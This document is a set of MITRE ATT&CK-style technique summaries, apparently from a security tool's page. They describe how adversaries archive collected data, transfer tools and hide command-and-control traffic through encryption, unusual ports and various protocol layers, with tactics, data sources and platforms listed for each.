Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre